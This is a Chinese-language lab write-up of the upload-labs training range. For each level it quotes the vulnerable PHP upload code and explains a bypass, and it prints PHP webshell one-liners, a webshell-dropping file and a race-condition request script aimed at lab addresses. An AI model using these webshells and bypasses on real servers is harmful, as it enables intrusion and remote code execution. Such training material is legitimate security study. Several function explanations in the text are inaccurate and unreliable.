ycycyc

upload-labs全详解

2025-05-12

upload-1(扩展名)

直接上传一句话木马

<?php @eval($_POST['cmd']);?>

image-20250506162226800

可知被js拦截了

这里存在两种解法

一.直接在浏览器中禁用js

二.将文件名更改为cj.png,上传抓包,在重放中将文件后缀名更改为cj.php,再进行发包。

返回靶场的页面,复制上传的文件的链接,打开蚁剑,输入上面复制的链接打开蚁剑,粘贴网址,输入密码

image-20250506163758185

核心的源码如下:

var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;

源码的作用是截取点号之后的文件名,精确匹配上面的允许上传的文件名。

能进行绕过的原因是:

这段源码仅仅通过js前端检查了文件名的后缀,而不检查真实的文件类型(如通过文件头Magic Number或者是MINE Type判断),所以只需要抓包使js的前端验证通过就可以

upload-2(mime类型校验)

上传一个一句话木马的php文件

image-20250506165212363

同样上传php一句话的同时进行抓包拦截,修改请求包的Content-Type为图片类型(image/jpeg)即可

image-20250506165616523

放行数据包,重复上面的操作

核心源码如下:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

根据源码判断,这里的漏洞类型是MIME 类型校验漏洞,攻击者可以通过抓包修改 Content-Type 来绕过检查。

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))

上面的代码仅仅检查的是来自HTTP请求头的Content-Type的值,同样没有对文件的真实类型进行判断。

upload-3(Apache服务器特性)

将文件后缀名更改为php3,php5,phtml可以绕过。

核心源码如下:

$deny_ext = array('.asp','.aspx','.php','.jsp');
 $file_name = trim($_FILES['upload_file']['name']);
 $file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
 $file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
 $file_ext = trim($file_ext); //收尾去空

上面进行了一系列的过滤,防止通过点号,空格,大小写等方法绕过达到上传恶意文件的作用。但是这里并没有过滤php3,php5,phtml这些文件后缀名,能这样绕过的条件:

Apache服务器支持解析 .php3 .php5 .phtml后缀名的文件,但是需要在Apache的配置文件(httpd.conf或者是apache2.conf)中添加

AddType application/x-httpd-php .php .phtml .php3 .php5

这样这些文件扩展名就能够被当作php脚本处理了,当然这里还有一个条件是靶场的搭建利用到了Apache服务器。

upload-4(.staccess文件)

核心源码

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

上面的源码过滤了许多文件的扩展名,包括过滤了点号,空格,大小写的绕过方法,这里可以看到文件后缀名.htaccess没有过滤掉

.htaccess是一个纯文本文件,其中储存着Apache相关的命令
.htaccess主要的作用:URL重写,404页面自定义,改变文件的扩展名,允许或者阻止特定的用户或者目录
进行访问。
.htaccess只针对当前目录才会起作用。
.haaccess改变文件扩展名的用法:
<FilesMatch "4.png">
 SetHandler application/x-httpd-php
 </FilesMatch>
(如果当前目录下面由名字为4.png的文件就会被解析为.php的文件)

下面是我创建的.staccess文件的内容

<FilesMatch "\.jpg">
 SetHandler application/x-httpd-php
 </FilesMatch>

上面这串代码的作用是:
通过 SetHandler 指令,劫持 .jpg 文件的处理方式,让它们被 PHP 引擎解析。强制让所有 .jpg 文件被 Apache 当作 PHP 脚本解析并执行

接着就将存储一句话木马的php的文件扩展名更改为.jpg

image-20250507155953858

先上传.staccess文件接着上传cj.jpg文件,复制上传的图片文件的路径,连接蚁剑

image-20250507160315872

upload-5(.user.ini文件)

观察第五关的关键源码

array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".j
Html",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess")

发现对比上一关,这里.htaccess文件也被拉入了黑名单,但是没有禁用.ini文件。 php.ini 是 php的配置文件,.user.ini(相当于一个用户自己定义的php.ini文件) 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。

要触发**.user.ini文件的内容满足下面的条件**

服务器脚本语言为PHP
服务器使用CGI/FastCGI模式 (两种通用网关接口,用于HTTP服务器与其他机器的程序服务通信交流)
上传目录下要有可执行的php文件

靶场的Apache服务器满足上面的两种条件

接下来创建一个.user.ini文件上传,文件的内容如下:

auto_prepend_file=cj.jpg
作用:
表示在每个php脚本执行之前,php会加载并且执行cj.jpg文件,即使是一个图片文件 php也会尝试将
其作为php代码解析(如果文件的内容包含有效的php代码的话)

接下来直接上传cj.jpg文件,等待五分钟之后右键图片复制连接蚁剑

image-20250507173908190

upload-6(大小写绕过)

源码如下:

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

可以看到源码中不存在**strtolower()**函数,这个函数的作用是将字符串中的所有字符串转化为小写。

所以这里可以通过大小写绕过,及那个文件后缀名更改为cj.Php

能通过大小写绕过的原理:

在Windows系统上面,文件名默认不区分大小写。

upload-7(空格绕过)

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

这里没有trim()函数,这个函数的作用是去除字符串首尾的空白字符或其他指定字符

直接上传php文件使用yakit进行拦截抓包

image-20250507201506814

image-20250507201517303

在文件名后面加上空格发包,响应包中找到上传的图片的链接

image-20250507201742360

使用蚁剑进行连接

image-20250507201836809

绕过的原理:

在Windows系统中默认自动忽略文件名末尾的空格,cj.php和cj.php 会被视为同一文件。

upload-8(点号绕过)

关键源码如下:

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

strrchr()函数的作用是查找字符串中最后一次出现某个字符的位置,并返回从该字符到字符串末尾的子串

这里利用strrchr()函数的特性进行绕过,当文件包含多个点的时候,strrchr()返回的是最后一个点之后的内容(如果最后一个点为空就返回“.”)

上传正常的php一句话木马的文件,抓包,在请求包文件的扩展名后面加上一个点号,再发包就可以连接蚁剑。

image-20250508001920991

能够绕过的原理:

Windows存储文件的时候会自动删除文件末尾的点号,cj.php.实际保存为cj.php

upload-9(::DATA绕过)

关键源码如下:

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空

观察源码可知没有对::DATA进行处理,可以使用::DATA进行绕过

可以绕过的原理:
php在Windows的时候如果在文件名之后加上::DATA会将之后的数据当作文件流进行处理,不会再检查文件的后缀名,而且可以保持::DATA之前的文件名

上传文件使用yakit进行拦截,将png的文件后缀名更改为.php:DATA然后放行可以发现文件上传成功

image-20250508003650268

连接蚁剑即可

image-20250508003705204

upload-10(与第6关相同)

upload-11(双写绕过)

关键源码如下:

$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;

查看本关的提示可以发现

image-20250508105529364

对应源码的关键函数是:str_ireplace($deny_ext,"", $file_name)

它是拿匹配字符串去挨个的对等待匹配字符串进行对比,当匹配上了就替换并返回。所以这里可以构造文件cj.pphphp当匹配第一个P的时候不满足,当匹配第二个p的时候满足并且会将php替换为空,接下来不会继续匹配了。剩下的P和hp就会组成php

关键:函数只进行一次替换,不会递归检查替换之后的结果

接下来就是白名单绕过

upload-12(%00截断)

查看关键源码

ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

这里是白名单,只允许上传'jpg','png','gif'这三种后缀名

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

由这段代码可知,文件上传的路径可控,由get上传的参数save_path在url完全可控。

再满足条件php的版本低于5.3就可以使用%00绕过。

什么是%00截断漏洞
在php处理文件名或者是路径的时候,如果遇到了URL编码的%00,就会将
它解释为一个空字节(也就是ascii值为0)在php5.3之前,php会将这个空字节转化为\000,而php5.3之前文件名如果出现\000,会导致文件名被截断,只保留%00之前的内容。

上传的一句话木马的内容

<?php $GET[0]($_GET[1]);?>
通过get参数0接受要执行的函数名
通过get参数1接受该函数的参数
从而动态执行任意的php函数

image-20250508155908605

在请求头加上文件名%00进行截断,然后发包

image-20250508160101315

可以通过一句话木马执行任意的函数

http://localhost/upload-labs-master/upload/yc.php?0=phpinfo

image-20250508163925546

upload-13(post传参的%00截断)

关键如下:

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

这一关使用的是POST传参,由于POST传参不会对%00进行编码,所以我们需要在文件名的后面加上一个占位符,再将占位符的十六 进制数更改为00,这样空字节就出来了,再移动字节的时候就会出现%00截断。

上传php文件抓包

image-20250508164355554

在请求包的upload后面加上yc.phpa再在hex视图将a对应的十六进制的数更改为00,这样就可以得到一个空字节,再次发包上传成功

截断的原理

低版本的php遇到00(空字节)会认为字符串结束,实际保存的路径姐变成了/upload/yc.php,后面的a被忽略了。

upload-14(图片马+文件包含)

源码:

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
    $fileType = '';
    switch($typeCode){
        case 255216:
            $fileType = 'jpg';
            break;
        case 13780:
            $fileType = 'png';
            break;
        case 7173:
            $fileType = 'gif';
            break;
        default:
            $fileType = 'unknown';
        }
        return $fileType;
}

有源码可知这一关通过直接读取文件头标识来检测文件的真实类型,所以常规的绕过方法不可用。

这里使用图片马+文件包含绕过

图片马的制作:
在对应的文件夹下面打开cmd命令,执行下面的命令
copy login.jpg/b+cj.php/a cj.jpg(login.jpg是任意的图片,cj.php是一句话木马,test.jpg是
生成的一句话木马)

上传生成的图片马

image-20250508165915516

点击上面的文件包含,得到

image-20250508165956809

所以这里使用了file作为参数进行文件包含

http://10.18.208.98/upload-labs-master/include.php?
 file=upload/6720250321175356.jpg

image-20250508170441017

upload-15(图片马+文件包含)

$info = getimagesize($filename);

这个函数是 PHP 中用于检测图像文件信息的核心函数

与14相同的操作

upload-16(图片马+文件包含)

关键源码

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;
        default:
            return false;
            break;
    }
}

exif_imagetype()函数读取文件头部的魔数(magic number)判断图像类型

与14,15基本相同,只需要在小皮上面打开一个扩展php_exif exif_imagetype()php_exif扩展的一部分,不打开扩展的话本关会报错。

upload-17(二次渲染绕过)

关键源码

$fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

检查扩展名,MIME类型验证G

imagecreatefromjpeg()尝试将上传的文件作为JPEG图像解析,GD库会自动丢弃所有的非图像数据(包括隐藏在文件末尾的php代码),这样就达到了二次渲染的效果。

经过函数处理之前的wangcai.jpg在010中效果

image-20250509135413706

经函数处理之后的wangcai.jpg文件在010中的效果

image-20250509135448273

对比两次的图,相同的数据为

B4 B5 B6 B7 B8 B9 C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4 D5 D6 D7 D8 D9 DA E1 E2 E3 E4
这段数据对应的字符的长度刚好为一句话木马对应的字符的长度

将不变的部分替换为一句话木马:

image-20250509140528530

将替换之后的wangcai.jpg文件上传

image-20250509135808429

将返回的文件另存为wangcai2.jpg

丢进010中与wangcai.jpg进行对比发现数据没有丢失

image-20250509140458002

说明木马插入成功

image-20250509140546240

蚁剑连接成功

能绕过的根本原理:

文件头仍是合法的图片格式;

木马的代码位于不被渲染处理的数据区域;

文件扩展名和MIME类型检查都能够通过。

upload-18(条件竞争漏洞)

源码:

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

首先使用move_uploaded_file将文件进行上传,然后进行后缀名判断,如果不满足.jpg|.png|.gif文件类型,直接删除。

漏洞利用原理

我们可以直接将文件上传到上传到指定的文件路径(服务区),服务区经过if语句判断是否该删除文件,在服务区没有删除文件的时候,进行访问上传的php文件,上传的php文件访问执行之后会生成一个一句话木马文件。

下面是上传的一句话木马内容

<?php fwrite(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>
    /在目标服务器上面创建后门文件,以写入模式打开或者是创建一个名为shell.php的文件,并向该文件中写入内容,写入的内容为
    <?php @eval($_POST[cmd]);?>

下面是一个访问creat.php,并且判断shell.php是否已经生成的python脚本

import requests
url = "http://10.18.208.48/upload-labs-master/upload/create.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
	    print("DOWN")

上传文件create.php,抓包

image-20250509195403558

设置payload如下:

image-20250509195427358

在运行脚本的同时开始攻击

知道脚本回显ok的时候停止攻击

image-20250509195958296

image-20250509195125117

image-20250509200247949

蚁剑连接成功

绕过的原理:

通过空payload攻击,快速重复发送相同的请求,从而触发服务端的竞争姿态,从而执行上传的后门文件的php代码。

upload-19(条件竞争漏洞)

与18关相同

upload-20(move_uploaded_file()函数)

关键源码如下:

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

move_uploaded_file()函数有一个特性,将用户上传的临时文件移动到目标路径的时候如果目标路径的末尾包含斜杠/,php会自动的忽略他。

上传php一句话木马拦截

image-20250510151154041

image-20250510151137625

可以这样绕过的原理:

后端校验获取扩展名的时候得到的是.php/.,不会被拦截,但是再利用move_uploaded_file()函数对路径处理的特性,自动忽略/.文件就会保存为.php,,从而能够执行文件内容。

upload-21(数组绕过)

关键源码如下:

if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}
不同于之前的关键部分是使用`is_arrray()`函数判断了post传参进来的是不是一个数组

empty()函数将字符串打散为数组

end()函数指向数组中的最后一个元素,并输出

reset()函数输出数组当前元素和下一个元素的值,然后将数组的额内部指针重置到数组的第一个元素
$ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }

通过end()函数获得file的最后一个元素,赋值给$ext进行后缀校验

else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }

后缀符合条件的话就会拼接文件名为首元素+尾元素

reset()函数用来获取尾元素

如果我们传入的数组为:

save_name=["muma.php","jpg"]

这样文件的后缀为jpg可以绕过后缀检测,但是组装之后的文件名为muma.php.jpg

那么传入的数组可以设置为:

save_name=["muma.php",不设置,"jpg"]

当save_name[1]不设置的时候,count的结果仍然是2,这样文件名的后缀就拼接为空,结果为muma.php.,在windows特性中将.省略

上传一句话木马的php文件bp拦截

image-20250511133706518

发包

image-20250511133943971

成功得到图片上传的链接,接下来连接蚁剑即可。

能够成功绕过的原理:

传入的数组为:

$file=["cj1.php",不设置,"jpg"]

在count($file)的计算中,不会计算缺失的索引,只计算实际存在的元素数量,所以count($file)的返回值为2.

所以$file[count($file)-1]=1,但是$file[1]不存在就会返回null,综合上面最终的拼接结果就为cj1.php

← Back to Home